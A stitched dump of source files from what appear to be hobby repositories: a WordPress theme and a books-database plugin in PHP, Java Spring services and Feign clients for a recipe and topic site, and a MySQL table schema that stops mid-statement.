'name'=>'Writers', 'singular_name'=>'Writer', 'menu_name' => __('Writers', 'text_domain'), 'all_items' => __('All Writers', 'text_domain'), 'edit_item' => __('Edit Writer', 'text_domain'), 'view_item' => __('View Writer', 'text_domain'), 'update_item' => __('UpdateWriter', 'text_domain'), 'add_new_item' => __('Add New Writer', 'text_domain'), 'new_item_name' => __('New Writer', 'text_domain'), 'search_items' => __('Search Writers', 'text_domain'), ); register_taxonomy( $post_meta['post_type_writer'], $post_meta['post_type'], array( 'labels'=>$labels, 'hierarchical' => false, 'query_var' => 'sr_book_writer', 'rewrite' => array('slug'=> $post_meta['post_type_writer_slug']), 'public' => true, ) ); } function sr_get_book_config(){ return array( 'post_type'=>'sr_book', 'post_type_slug'=>sr_get_book_slug(), 'post_type_category'=>'sr_book_categories', 'post_type_category_slug'=>sr_get_book_category_slug(), 'post_type_writer'=>'sr_book_writer', 'post_type_writer_slug'=>sr_get_book_writer_slug(), ); } function sr_get_book_slug() { return 'book'; } function sr_get_book_category_slug() { return 'book/category'; } function sr_get_book_writer_slug() { return 'book/writer'; } <file_sep><?php get_header();?> <?php get_template_part('home','slider');?> <div id="homecontent"> <div class="wrapper"> <?php $args = array( 'numberposts' => '3' );?> <?php $recent_posts = wp_get_recent_posts( $args ); ?> <ul> <?php foreach($recent_posts as $post): ?> <li> <h2 class="title"><img src="<?php echo get_template_directory_uri()?>/images/demo/60x60.gif" alt="" /><?php echo $post['post_title'];?></h2> <p><?php echo substr_word($post['post_content'],200)?></p> <p class="readmore"><a href="<?php echo get_the_permalink($post['ID'])?>">Continue Reading &raquo;</a></p> </li> <?php endforeach;?> </ul> <br class="clear" /> </div> </div> <div id="container"> <div class="wrapper"> <div id="content"> <?php $page = get_page_by_slug('welcome-home'); ?> <h2><?php echo $page->post_title;?></h2> <?php echo apply_filters('the_content',$page->post_content) ;?> </div> <?php echo get_template_part('home-category-posts')?> <br class="clear" /> </div> </div> <?php get_footer();?><file_sep><div id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <h1> <?php if(!is_single()):?><a title="<?php the_title()?>" href="<?php the_permalink()?>"><?php endif;?> <?php the_title();?> <?php if(!is_single()):?></a><?php endif;?> </h1> <?php the_content();?> <div class="post-meta"> <?php internetbusiness_entry_meta();?> <?php if( !is_single()):?> <?php endif;?> </div> </div><!-- #post --> <br class="clear" /><file_sep>1. Create a category with a slug - news 2. To show the post in home page accordion create post with tag "homepage-slider".<file_sep><div id="post-<?php the_ID(); ?>" <?php post_class(); ?>> Not Found </div><!-- #post --> <br class="clear" /><file_sep><?php /* debug functions*/ function dump($var,$type='print') { echo "<pre>"; if($type=='print') { print_r($var); } else { var_dump($var); } echo "</pre>"; } /* debug functions*/ /** * Registers a custom post type. * * @link http://codex.wordpress.org/Function_Reference/register_post_type */ function ib_register_post_type() { register_post_type( 'ib_movie', array( 'labels' => array( 'name' => __('Movie', 'text_domain'), 'singular_name' => __('Movie', 'text_domain'), 'menu_name' => __('Movie', 'text_domain'), 'name_admin_bar' => __('Movie Item', 'text_domain'), 'all_items' => __('All Items', 'text_domain'), 'add_new' => _x('Add New', 'prefix_portfolio', 'text_domain'), 'add_new_item' => __('Add New Item', 'text_domain'), 'edit_item' => __('Edit Item', 'text_domain'), 'new_item' => __('New Item', 'text_domain'), 'view_item' => __('View Item', 'text_domain'), 'search_items' => __('Search Items', 'text_domain'), 'not_found' => __('No items found.', 'text_domain'), 'not_found_in_trash' => __('No items found in Trash.', 'text_domain'), 'parent_item_colon' => __('Parent Items:', 'text_domain'), ), 'public' => true, 'menu_position' => 5, 'supports' => array( 'title', 'editor', 'thumbnail', 'excerpt', 'custom-fields', ), 'taxonomies' => array( 'ib_movie_categories','ib_movie_writer' ), 'has_archive' => true, 'rewrite' => array( 'slug' => 'movie', ), ) ); } add_action('init', 'ib_register_post_type'); /** * Registers a custom taxonomy. * * @link http://codex.wordpress.org/Function_Reference/register_taxonomy */ function ib_register_taxonomy() { register_taxonomy( 'ib_movie_categories', array( 'ib_movie', ), array( 'labels' => array( 'name' => _x('Movie Categories', 'ib_movies_categories', 'text_domain'), 'singular_name' => _x('Movie Category', 'ib_movies_categories', 'text_domain'), 'menu_name' => __('Movie Categories', 'text_domain'), 'all_items' => __('All Movie Categories', 'text_domain'), 'edit_item' => __('Edit Movie Category', 'text_domain'), 'view_item' => __('View Movie Category', 'text_domain'), 'update_item' => __('Update Movie Category', 'text_domain'), 'add_new_item' => __('Add New Movie Category', 'text_domain'), 'new_item_name' => __('New Movie Category Name', 'text_domain'), 'parent_item' => __('Parent Movie Category', 'text_domain'), 'parent_item_colon' => __('Parent Movie Category:', 'text_domain'), 'search_items' => __('Search Movie Categories', 'text_domain'), ), 'show_admin_column' => true, 'hierarchical' => true, 'rewrite' => array( 'slug' => 'movie/category', ), ) ); $labels= array( 'name'=>'Writers', 'singular_name'=>'Writer', 'menu_name' => __('Writers', 'text_domain'), 'all_items' => __('All Writers', 'text_domain'), 'edit_item' => __('Edit Writer', 'text_domain'), 'view_item' => __('View Writer', 'text_domain'), 'update_item' => __('UpdateWriter', 'text_domain'), 'add_new_item' => __('Add New Writer', 'text_domain'), 'new_item_name' => __('New Writer', 'text_domain'), 'search_items' => __('Search Writers', 'text_domain'), ); register_taxonomy( 'ib_movie_writer', 'ib_movie', array( 'labels'=>$labels, 'hierarchical' => false, 'query_var' => 'ib_movie_writer', 'rewrite' => array('slug'=>'movie/writers'), 'public' => true, ) ); } add_action('init', 'ib_register_taxonomy', 0); function internetbusiness_setup() { // This theme supports a variety of post formats. add_theme_support( 'post-formats', array( 'aside', 'image', 'link', 'quote', 'status' ) ); // This theme uses wp_nav_menu() in one location. register_nav_menu( 'primary', __( 'Primary Menu', 'twentytwelve' ) ); /* * This theme supports custom background color and image, * and here we also set up the default background color. */ add_theme_support( 'custom-background', array( 'default-color' => 'e6e6e6', ) ); // This theme uses a custom image size for featured images, displayed on "standard" posts. add_theme_support( 'post-thumbnails' ); set_post_thumbnail_size( 624, 9999 ); // Unlimited height, soft crop } add_action( 'after_setup_theme', 'internetbusiness_setup' ); function internetbusiness_widgets_init() { register_sidebar( array( 'name' => __( 'Main Sidebar', 'internetbusiness' ), 'id' => 'sidebar-1', 'description' => __( 'Appears on posts and pages except the optional Front Page template, which has its own widgets', 'twentytwelve' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); register_sidebar( array( 'name' => __( 'First Front Page Widget Area', 'internetbusiness' ), 'id' => 'sidebar-2', 'description' => __( 'Appears when using the optional Front Page template with a page set as Static Front Page', 'twentytwelve' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); register_sidebar( array( 'name' => __( 'Second Front Page Widget Area', 'internetbusiness' ), 'id' => 'sidebar-3', 'description' => __( 'Appears when using the optional Front Page template with a page set as Static Front Page', 'twentytwelve' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); register_sidebar( array( 'name' => __( 'First Footer Links Area', 'internetbusiness' ), 'id' => 'footer-1', 'description' => __( 'Appears when using the optional Front Page template with a page set as Static Front Page', 'twentytwelve' ), 'before_widget' => '<div id="%1$s" class="footbox widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); register_sidebar( array( 'name' => __( 'Newsletter Footer', 'internetbusiness' ), 'id' => 'newsletter-footer', 'description' => __( 'Appears on footer ', 'twentytwelve' ), 'before_widget' => '<div id="newsletter" class=" widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); } add_action( 'widgets_init', 'internetbusiness_widgets_init' ); function internetbusiness_entry_meta() { // Translators: used between list items, there is a space after the comma. $categories_list = get_the_category_list( __( ', ', 'internetbusiness' ) ); // Translators: used between list items, there is a space after the comma. $tag_list = get_the_tag_list( '', __( ', ', 'internetbusiness' ) ); $date = sprintf( '<a href="%1$s" title="%2$s" rel="bookmark"><time class="entry-date" datetime="%3$s">%4$s</time></a>', esc_url( get_permalink() ), esc_attr( get_the_time() ), esc_attr( get_the_date( 'c' ) ), esc_html( get_the_date() ) ); $author = sprintf( '<span class="author vcard"><a class="url fn n" href="%1$s" title="%2$s" rel="author">%3$s</a></span>', esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ), esc_attr( sprintf( __( 'View all posts by %s', 'internetbusiness' ), get_the_author() ) ), get_the_author() ); // Translators: 1 is category, 2 is tag, 3 is the date and 4 is the author's name. if ( $tag_list ) { $utility_text = __( 'Category: %1$s Tags: %2$s on %3$s<span class="by-author"> Author: %4$s</span>.', 'internetbusiness' ); } elseif ( $categories_list ) { $utility_text = __( 'Label %1$s Tags: %3$s<span class="by-author"> Author: %4$s</span>.', 'internetbusiness' ); } else { $utility_text = __( 'Category: %3$s<span class="by-author"> Author: %4$s</span>.', 'internetbusiness' ); } printf( $utility_text, $categories_list, $tag_list, $date, $author ); } function sevenrays_get_post_by_tag($tag='featured') { $args['tag']=$tag; $args['posts_per_page']=5; $the_query = new WP_Query( $args ); // Reset Post Data wp_reset_postdata(); return $the_query; } function get_page_by_slug($slug) { $page = get_posts( array( 'name' => $slug, 'post_type' => 'page' ) ); wp_reset_postdata(); if($page) { return $page[0]; } return false; } function substr_word($body,$maxlength) { if (strlen($body)<$maxlength) return $body; $body = substr($body, 0, $maxlength); $rpos = strrpos($body,' '); if ($rpos>0) $body = substr($body, 0, $rpos); return $body; } function sevenrays_fonts_url() { $fonts_url = ''; /* Translators: If there are characters in your language that are not * supported by Source Sans Pro, translate this to 'off'. Do not translate * into your own language. */ $source_sans_pro = _x( 'on', 'Source Sans Pro font: on or off', 'internetbusiness' ); /* Translators: If there are characters in your language that are not * supported by Bitter, translate this to 'off'. Do not translate into your * own language. */ $bitter = _x( 'on', 'Bitter font: on or off', 'internetbusiness' ); if ( 'off' !== $source_sans_pro || 'off' !== $bitter ) { $font_families = array(); if ( 'off' !== $source_sans_pro ) $font_families[] = 'Source Sans Pro:300,400,700,300italic,400italic,700italic'; if ( 'off' !== $bitter ) $font_families[] = 'Bitter:400,700'; $query_args = array( 'family' => urlencode( implode( '|', $font_families ) ), 'subset' => urlencode( 'latin,latin-ext' ), ); $fonts_url = add_query_arg( $query_args, "//fonts.googleapis.com/css" ); } return $fonts_url; } <file_sep><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="EN" lang="EN" dir="ltr"> <head profile="http://gmpg.org/xfn/11"> <title>Internet Business</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta http-equiv="imagetoolbar" content="no" /> <link rel="stylesheet" href="<?php echo sevenrays_fonts_url(); ?>"/> <link rel="stylesheet" href="<?php echo get_stylesheet_uri()?>" type="text/css" /> <script type="text/javascript" src="<?php echo get_template_directory_uri()?>/js/jquery-1.4.1.min.js"></script> <script type="text/javascript" src="<?php echo get_template_directory_uri()?>/js/jquery.easing.1.3.js"></script> <script type="text/javascript" src="<?php echo get_template_directory_uri()?>/js/jquery.hoverIntent.js"></script> <script type="text/javascript" src="<?php echo get_template_directory_uri()?>/js/jquery.hslides.1.0.js"></script> <script type="text/javascript" src="<?php echo get_template_directory_uri()?>/js/jquery.hslides.setup.js"></script> </head> <body id="top"> <div id="header"> <div class="wrapper"> <div class="fl_left"> <h1><a href="<?php echo bloginfo('siteurl');?>"><?php echo bloginfo()?></a></h1> <p><?php echo bloginfo('description');?></p> </div> <div class="fl_right"> <a href="#"><img src="<?php echo get_template_directory_uri()?>/images/demo/468x60.gif" alt="" /></a> </div> <br class="clear" /> </div> </div> <!-- ####################################################################################################### --> <div id="topbar"> <div class="wrapper"> <?php wp_nav_menu( array( 'theme_location'=>'primary', 'container'=>'div', 'container_id'=>'topnav' ) );?> <?php get_search_form()?> <br class="clear" /> </div> </div><file_sep>simple-wordpres-theme ===================== <file_sep><?php /* Plugin Name: Books Database Plugin URI: http://127.0.0.1/ Description: Book Database plugin Author: Dev Version: 1.6 Author URI: http://127.0.0.1/ */ define('BOOKS_DATABASE_DIR',str_replace("\\","/",plugin_dir_path(__FILE__)),true) ; define('BOOKS_DATABASE_URL',str_replace("\\","/",plugin_dir_url(__FILE__)),true) ; include BOOKS_DATABASE_DIR.'inc/core.php'; function sr_get_book_writers() { return sr_core_get_all_taxonomy_post($post_type='sr_book',$taxonomy='sr_book_categories'); } function sr_get_writers_tag_cloud(){ return wp_tag_cloud( array( 'taxonomy' => 'sr_book_writer' ,'echo'=>0) ); } <file_sep><div id="column"> <div class="subnav"> <?php if ( is_active_sidebar( 'sidebar-1' ) ) : ?> <?php dynamic_sidebar( 'sidebar-1' ); ?> <?php endif; ?> <?php echo sr_get_writers_tag_cloud();?> </div> </div> <div class="clear"></div><file_sep><?php get_header();?> <div id="container"> <div class="wrapper"> <div id="content"> <?php if(have_posts()):?> <h1><b><?php echo single_cat_title('Category Archives : ',false); ?></b></h1> <?php if ( category_description() ) : // Show an optional category description ?> <span><?php echo category_description(); ?></span> <?php endif; ?> <?php while ( have_posts() ) : the_post(); ?> <?php get_template_part( 'content', get_post_format() ); ?> <?php endwhile;?> <?php endif;?> </div> <?php get_sidebar();?> </div> </div> <?php get_footer();?><file_sep><?php $query = new WP_Query(array('category_name'=>'news','orderby'=>'post_date','posts_per_page'=>2));?> <?php //dump($query);?> <?php if($query->have_posts()):?> <div id="column"> <div class="holder"> <h2>Lastest News</h2> <ul id="latestnews"> <?php while($query->have_posts()): $query->the_post();?> <li> <img class="imgl" src="<?php echo get_template_directory_uri()?>/images/demo/100x75.gif" alt="" /> <p><strong><a href="#"><?php the_title();?></a></strong></p> <p><?php echo substr_word(apply_filters('the_content', get_the_content()), 100)?></p> </li> <?php endwhile; ?> </ul> </div> </div> <?php endif;?><file_sep><?php /* post types used in the plugin */ include BOOKS_DATABASE_DIR.'inc/function-book-posttype.php'; add_filter('template_include','sr_get_plugin_templates'); /** * Includes the template from plugin templates directory if the template file is not available in the theme. * @param string $template * @uses sr_is_book_template * @return string */ function sr_get_plugin_templates($template){ $config= sr_get_book_config(); if(is_post_type_archive($config['post_type']) && !sr_is_book_template($config,$template,'archive')) { $template = BOOKS_DATABASE_DIR.'templates/archive-'.$config['post_type'].'.php'; } if( is_singular($config['post_type']) && !sr_is_book_template($config,$template,$config['post_type'])) $template = BOOKS_DATABASE_DIR.'templates/single-'.$config['post_type'].'.php'; if( is_tax($config['post_type_category']) && !sr_is_book_template($config,$template,$config['post_type_category'])) $template = BOOKS_DATABASE_DIR.'templates/taxonomy-'.$config['post_type_category'].'.php'; if( is_tax($config['post_type_writer']) && !sr_is_book_template($config,$template,$config['post_type_writer']) ) $template = BOOKS_DATABASE_DIR.'templates/taxonomy-'.$config['post_type_writer'].'.php'; return $template; } /* * Matches the template name in the plugin template directory */ function sr_is_book_template($config,$template,$part) { $template = basename($template); switch($part): case $config['post_type']; return $template == 'single-'.$config['post_type'].'.php'; case 'archive': return $template == 'archive-'.$config['post_type'].'.php'; case $config['post_type_category']: return (1 == preg_match('/^taxonomy-'.$config['post_type_category'].'((-(\S*))?).php/',$template)); case $config['post_type_writer']: return (1 == preg_match('/^taxonomy-'.$config['post_type_writer'].'((-(\S*))?).php/',$template)); endswitch; return false; } /* * Get the posts using the custom post type. */ function bd_get_post($args= array()) { $config= sr_get_book_config(); $args['post_type']=$config['post_type']; return new WP_Query($args); } /* * returns the posts filtered by taxonomy of the post type. * */ function sr_core_get_all_taxonomy_post($post_type='post',$taxonomy='category') { return new WP_Query( array( 'post_type' => $post_type, 'tax_query' => array( 'taxonomy' => $taxonomy, ), ) ); }
e77f167a113244c2f84547399cf4c51aabf72086
[ "Markdown", "Text", "PHP" ]
16
PHP
samitrimal/simple-wordpres-theme
1dcb4f13bafba34012b61e529e5c6f387882d523
62c306dda6109a9c33bec25c1a190878848dd2c6
refs/heads/master
<file_sep>package com.lyf.check.food.service.impl; import com.lyf.check.food.entity.*; import com.lyf.check.food.fegin.SearchFeignService; import com.lyf.check.food.fegin.UmsMemberService; import com.lyf.check.food.service.*; import com.lyf.check.food.vo.*; import com.lyf.common.model.FoodInfosModel; import com.lyf.common.utils.R; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang.StringUtils; import org.springframework.beans.BeanUtils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import java.time.LocalDate; import java.util.ArrayList; import java.util.List; import java.util.Map; import java.util.stream.Collectors; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import com.lyf.common.utils.PageUtils; import com.lyf.common.utils.Query; import com.lyf.check.food.dao.FoodInfoDao; import org.springframework.transaction.annotation.Transactional; @Slf4j @Service("foodInfoService") public class FoodInfoServiceImpl extends ServiceImpl<FoodInfoDao, FoodInfoEntity> implements FoodInfoService { @Autowired UmsMemberService umsMemberService; @Autowired FoodAttrGroupService foodAttrGroupService ; @Autowired FoodStepService foodStepService; @Autowired FoodImagesService foodImagesService; @Autowired FoodAttrService foodAttrService; @Autowired FoodCategoryRelationService foodCategoryRelationService; @Autowired SearchFeignService searchFeignService; @Autowired FoodSpecialService foodSpecialService; /** * 保存待审核的信息 * * @param infomationVo * @return */ @Override @Transactional public void savealltoaut(FoodInfomationVo infomationVo) { infomationVo.setAuditing(1); //保存基础信息 FoodInfoEntity info = new FoodInfoEntity(); BeanUtils.copyProperties(infomationVo, info); LocalDate now = LocalDate.now(); info.setCreateTime(String.valueOf(now)); this.save(info); //保存图片集 List<FoodImagesVo> foodimages = infomationVo.getFoodimages(); foodImagesService.saveImages(info.getId(),foodimages); //保存主料属性集 List<FoodAttrEntity> foodAttrs = infomationVo.getDomains(); List<FoodAttrEntity> collect = foodAttrs.stream().map(value -> { FoodAttrEntity attrEntity = new FoodAttrEntity(); attrEntity.setAttrName(value.getAttrName()); attrEntity.setAttrValue(value.getAttrValue()); attrEntity.setFoodId(info.getId()); attrEntity.setAttgroupId(1); return attrEntity; }).collect(Collectors.toList()); foodAttrService.saveBatch(collect); //保存辅料料属性集 List<FoodAttrEntity> foodAttrs2 = infomationVo.getDoless(); if (foodAttrs2!=null&&foodAttrs2.size()>0){ List<FoodAttrEntity> collect2 = foodAttrs2.stream().map(value -> { FoodAttrEntity attrEntity = new FoodAttrEntity(); attrEntity.setAttrName(value.getAttrName()); attrEntity.setAttrValue(value.getAttrValue()); attrEntity.setFoodId(info.getId()); attrEntity.setAttgroupId(2); return attrEntity; }).collect(Collectors.toList()); foodAttrService.saveBatch(collect2); } //保存其他属性集 List<FoodAttrEntity> foodAttrs3 = infomationVo.getDomore(); if (foodAttrs3!=null&&foodAttrs3.size()>0){ List<FoodAttrEntity> collect3 = foodAttrs3.stream().map(value -> { FoodAttrEntity attrEntity = new FoodAttrEntity(); attrEntity.setAttrName(value.getAttrName()); attrEntity.setAttrValue(value.getAttrValue()); attrEntity.setFoodId(info.getId()); attrEntity.setAttgroupId(3); return attrEntity; }).collect(Collectors.toList()); foodAttrService.saveBatch(collect3); } //保存步骤集 List<FoodStepVo> foodSteps = infomationVo.getFoodSteps(); List<FoodStepEntity> collect1 = foodSteps.stream().map(value -> { FoodStepEntity entity = new FoodStepEntity(); entity.setContent(value.getContent()); entity.setFoodId(info.getId()); return entity; }).collect(Collectors.toList()); foodStepService.saveBatch(collect1); } @Override public PageUtils queryPageTo(Map<String, Object> params) { return null; } /** * 保存全部信息(保存后台评审的信息) * * @param * @return */ @Override @Transactional public void saveall(UpdatefoodVo vo) { System.out.println("---test-----"+vo.toString()); //得到分类名list List<FoodCateVo> category1 = vo.getCategory(); log.info("catefory1",category1); //修改数据库成功得到完整数据再进行es的保存工作 //组装需要的es数据 FoodInfosModel infosModel = new FoodInfosModel(); //根据vo的id查询数据库的foodinfo表信息,通过id查到分类信息、可以被用来检索的属性信息、默认图片信息以及用户名信息,按热度来排序,因为还没弄,默认0 FoodInfoEntity entity2 = this.baseMapper.selectById(vo.getId()); infosModel.setId((long) entity2.getId()); infosModel.setTitle(entity2.getTitle()); List<FoodInfosModel.Category> collect = category1.stream().map(value -> { FoodInfosModel.Category category = new FoodInfosModel.Category(); category.setCId((long) value.getCategoryId()); category.setCName(value.getCateName()); return category; }).collect(Collectors.toList()); log.error("collect",collect); infosModel.setCategory(collect); //可以被用来检索的属性信息 FoodAttrGroupEntity search = foodAttrGroupService.getBaseMapper().selectOne(new QueryWrapper<FoodAttrGroupEntity>().eq("search", "1")); if (search != null) { List<FoodAttrEntity> attrEntities = foodAttrService.selectAttrByFId(entity2.getId(), search.getId()); List<FoodInfosModel.Attr> collect1 = attrEntities.stream().map(value -> { FoodInfosModel.Attr attrs = new FoodInfosModel.Attr(); attrs.setAttrIid((long) value.getId()); attrs.setAttrName(value.getAttrName()); attrs.setAttrValue(value.getAttrValue()); return attrs; }).collect(Collectors.toList()); infosModel.setAttr(collect1); } //默认图片信息 FoodImagesEntity imagesEntity = foodImagesService.getBaseMapper().selectOne(new QueryWrapper<FoodImagesEntity>().eq("food_id", entity2.getId()) .eq("type", 0)); String url = imagesEntity.getImagesUrl(); infosModel.setImgurl(url); //用户名信息 R r = umsMemberService.username(entity2.getUserId()); String username = (String) r.get("username"); infosModel.setUsername(username); //所属专题 infosModel.setSId((long)vo.getSid()); //当前时间 LocalDate now = LocalDate.now(); infosModel.setCreateTime(String.valueOf(now)); System.out.println("model-----"+infosModel.toString()); //TODO 将数据发送给es进行保存,远程调用lyf--search服务 R r1 = searchFeignService.foodSave(infosModel); if ((int) r1.get("code") == 0) { // TODO 成功之后,修改数据库审核状态和保存分类信息 , 如果数据库操作失败,是不是应该把存进去的es中的food_id里的数据删去 /** * 调用成功再执行以下修改数据库的操作 */ //因为数据库已经保存auditing为1的信息但是没有分类 //修改auditing为0 FoodInfoEntity entity = new FoodInfoEntity(); //保存前台传来的分类信息 foodCategoryRelationService.saveCategory(vo.getId(),vo.getTitle(),vo.getCategory()); // 保存专题信息 entity.setAuditing(0); entity.setSId(vo.getSid()); entity.setCreateTime(String.valueOf(now)); this.getBaseMapper().update(entity, new QueryWrapper<FoodInfoEntity>().eq("id", vo.getId())); } else { //TODO 远程调用失败,接口幂等性,重试机制 } } @Override public GetFoodInfomationVo selectInfomation(Integer foodId) { GetFoodInfomationVo infomationVo = new GetFoodInfomationVo(); //获取info信息 FoodInfoEntity entity = this.baseMapper.selectOne(new QueryWrapper<FoodInfoEntity>().eq("id", foodId)); if (entity!=null){ BeanUtils.copyProperties(entity, infomationVo); //获取专题信息 if (entity.getSId()!=null){ FoodSpecialEntity specialEntity = foodSpecialService.getById(entity.getSId()); if (specialEntity!=null){ infomationVo.setSpecialName(specialEntity.getName()); } } //获取用户信息 R user = umsMemberService.username(entity.getUserId()); String username = (String) user.get("username"); String logo = (String) user.get("logo"); infomationVo.setUserName(username); infomationVo.setLogo(logo); //获取所属分类信息 List<String> list = new ArrayList<>(); List<FoodCategoryRelationEntity> foodCategoryRelationEntities = foodCategoryRelationService.getBaseMapper().selectList( new QueryWrapper<FoodCategoryRelationEntity>().eq("food_id", entity.getId())); for (FoodCategoryRelationEntity entity1 : foodCategoryRelationEntities) { String categoryName = entity1.getCategoryName(); list.add(categoryName); } infomationVo.setCateName(list); //获取图片集 List<FoodImagesEntity> images = foodImagesService.getBaseMapper().selectList( new QueryWrapper<FoodImagesEntity>().eq("food_id", entity.getId()) ); infomationVo.setSelfoodimages(images); //获取属性分组以及属性值 List<FoodAttrEntity> attList = new ArrayList<>(); List<FoodAttrGroupEntity> groupEntities = foodAttrGroupService.getBaseMapper().selectList(new QueryWrapper<FoodAttrGroupEntity>()); for (FoodAttrGroupEntity entity1 : groupEntities) { List<FoodAttrEntity> atts = foodAttrService.getBaseMapper().selectList( new QueryWrapper<FoodAttrEntity>().eq("attgroup_id", entity1.getId()) .eq("food_id", entity.getId()) ); for (FoodAttrEntity entity2 : atts) { attList.add(entity2); } } infomationVo.setFoodAttrs(attList); //获取步骤 List<FoodStepEntity> stepList = foodStepService.getBaseMapper().selectList(new QueryWrapper<FoodStepEntity>() .eq("food_id", entity.getId())); infomationVo.setSelfoodSteps(stepList); return infomationVo; }else{ return null; } } @Override public PageUtils queryPage(Map<String, Object> params, Integer num) { String title = (String) params.get("title"); IPage<FoodInfoEntity> page = this.page( new Query<FoodInfoEntity>().getPage(params), new QueryWrapper<FoodInfoEntity>().like("title",title).eq("auditing", num) ); List<FoodInfoEntity> list = page.getRecords().stream().map(value -> { //获取用户信息 Integer userId = value.getUserId(); R info = umsMemberService.username(userId); String username = (String) info.get("username"); value.setUserName(username); FoodImagesEntity imagesEntity = foodImagesService.getBaseMapper().selectOne(new QueryWrapper<FoodImagesEntity>().eq("food_id", value.getId()) .eq("type", 0)); String imagesUrl = imagesEntity.getImagesUrl(); value.setImages(imagesUrl); return value; }).collect(Collectors.toList()); page.setRecords(list); return new PageUtils(page); } @Override public PageUtils queryPage(Map<String, Object> params) { IPage<FoodInfoEntity> page = this.page( new Query<FoodInfoEntity>().getPage(params), new QueryWrapper<FoodInfoEntity>() ); return new PageUtils(page); } }<file_sep>package io.renren.fegin; import io.renren.common.utils.R; import org.springframework.cloud.openfeign.FeignClient; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import java.util.Map; /** * @author lyf * @date 2020/8/8-9:23 */ @FeignClient("lyf-topic") public interface TopicFegin { /** * 信息 */ /** * 列表 */ @RequestMapping("topic/topicinfo/list") public R list(@RequestParam Map<String, Object> params); /** * 删除 */ @RequestMapping("topic/topicinfo/delete") public R delete(@RequestBody Integer[] ids); } <file_sep>package io.renren.fegin; import io.renren.common.utils.R; import io.renren.modules.food.vo.FoodSpecialVo; import io.renren.modules.food.vo.SortVo; import io.renren.modules.food.vo.UpdatefoodVo; import org.springframework.cloud.openfeign.FeignClient; import org.springframework.web.bind.annotation.*; import java.util.Map; /** * @author lyf * @date 2020/8/4-2:05 */ @FeignClient("lyf-food") public interface FoodSortFegin { @RequestMapping("food/foodinfo/list") public R list(@RequestParam Map<String, Object> params); /** * 删除 */ @RequestMapping("food/sort/delete") public R delete(@RequestBody Integer[] ids); @RequestMapping("food/sort/list/tree") public R getTreeList(); /** * 修改 */ @RequestMapping("food/sort/update") public R update(@RequestBody SortVo sort); /** * 保存 */ @RequestMapping("food/sort/save") public R save(@RequestBody SortVo sort); /** * -----info-------- */ /** * 获取auditing为1的分页列表(待审核) */ @RequestMapping("food/foodinfo/list/{num}") public R list(@RequestParam Map<String, Object> params, @PathVariable Integer num); //查询食物的详情信息 @RequestMapping("food/foodinfo/select/infomation") public R selects(@RequestParam Integer foodId); /** * 保存审核通过的信息 */ @RequestMapping("food/foodinfo/save") public R save(@RequestBody UpdatefoodVo updatefoodVo); /** * 删除 */ @RequestMapping("food/foodinfo/delete") public R deletes(@RequestBody Integer[] ids); /** * 删除 */ @RequestMapping("food/foodinfo/del") public R del(@RequestBody Integer[] ids); /** * ------专题--------- */ /** * 获取使用专题名字信息 */ @GetMapping("food/foodspecial/info/name") public R doGet(); /** * 列表 */ @RequestMapping("food/foodspecial/list") public R listto(@RequestParam Map<String, Object> params); /** * 保存 */ @RequestMapping("food/foodspecial/save") public R save(@RequestBody FoodSpecialVo vo); /** * 信息 */ @RequestMapping("food/foodspecial/info/{id}") public R info(@PathVariable("id") Integer id); /** * 修改 */ @RequestMapping("food/foodspecial/update") public R update(@RequestBody FoodSpecialVo vo); /** * 删除 */ @RequestMapping("food/foodspecial/delete") public R deletesp(@RequestBody Integer[] ids); } <file_sep>/* Navicat Premium Data Transfer Source Server : centos Source Server Type : MySQL Source Server Version : 50647 Source Host : 192.168.230.129:3306 Source Schema : lyf_topic Target Server Type : MySQL Target Server Version : 50647 File Encoding : 65001 Date: 17/10/2020 19:28:05 */ SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS = 0; -- ---------------------------- -- Table structure for topic_images -- ---------------------------- DROP TABLE IF EXISTS `topic_images`; CREATE TABLE `topic_images` ( `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '话题图片id', `image` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL COMMENT '话题图片', `t_id` int(11) DEFAULT NULL COMMENT '话题id', PRIMARY KEY (`id`) USING BTREE, INDEX `t_id`(`t_id`) USING BTREE ) ENGINE = InnoDB AUTO_INCREMENT = 68 CHARACTER SET = latin1 COLLATE = latin1_swedish_ci ROW_FORMAT = Compact; -- ---------------------------- -- Table structure for topic_info -- ---------------------------- DROP TABLE IF EXISTS `topic_info`; CREATE TABLE `topic_info` ( `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '话题id', `content` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT NULL COMMENT '话题内容', `status` tinyint(4) NOT NULL DEFAULT 0 COMMENT '话题状态(0显示,1不显示)', `create_time` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT NULL COMMENT '发表时间', `u_id` int(11) DEFAULT NULL COMMENT '用户id', `user_name` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT NULL COMMENT '用户名称', PRIMARY KEY (`id`) USING BTREE, INDEX `u_id`(`u_id`) USING BTREE ) 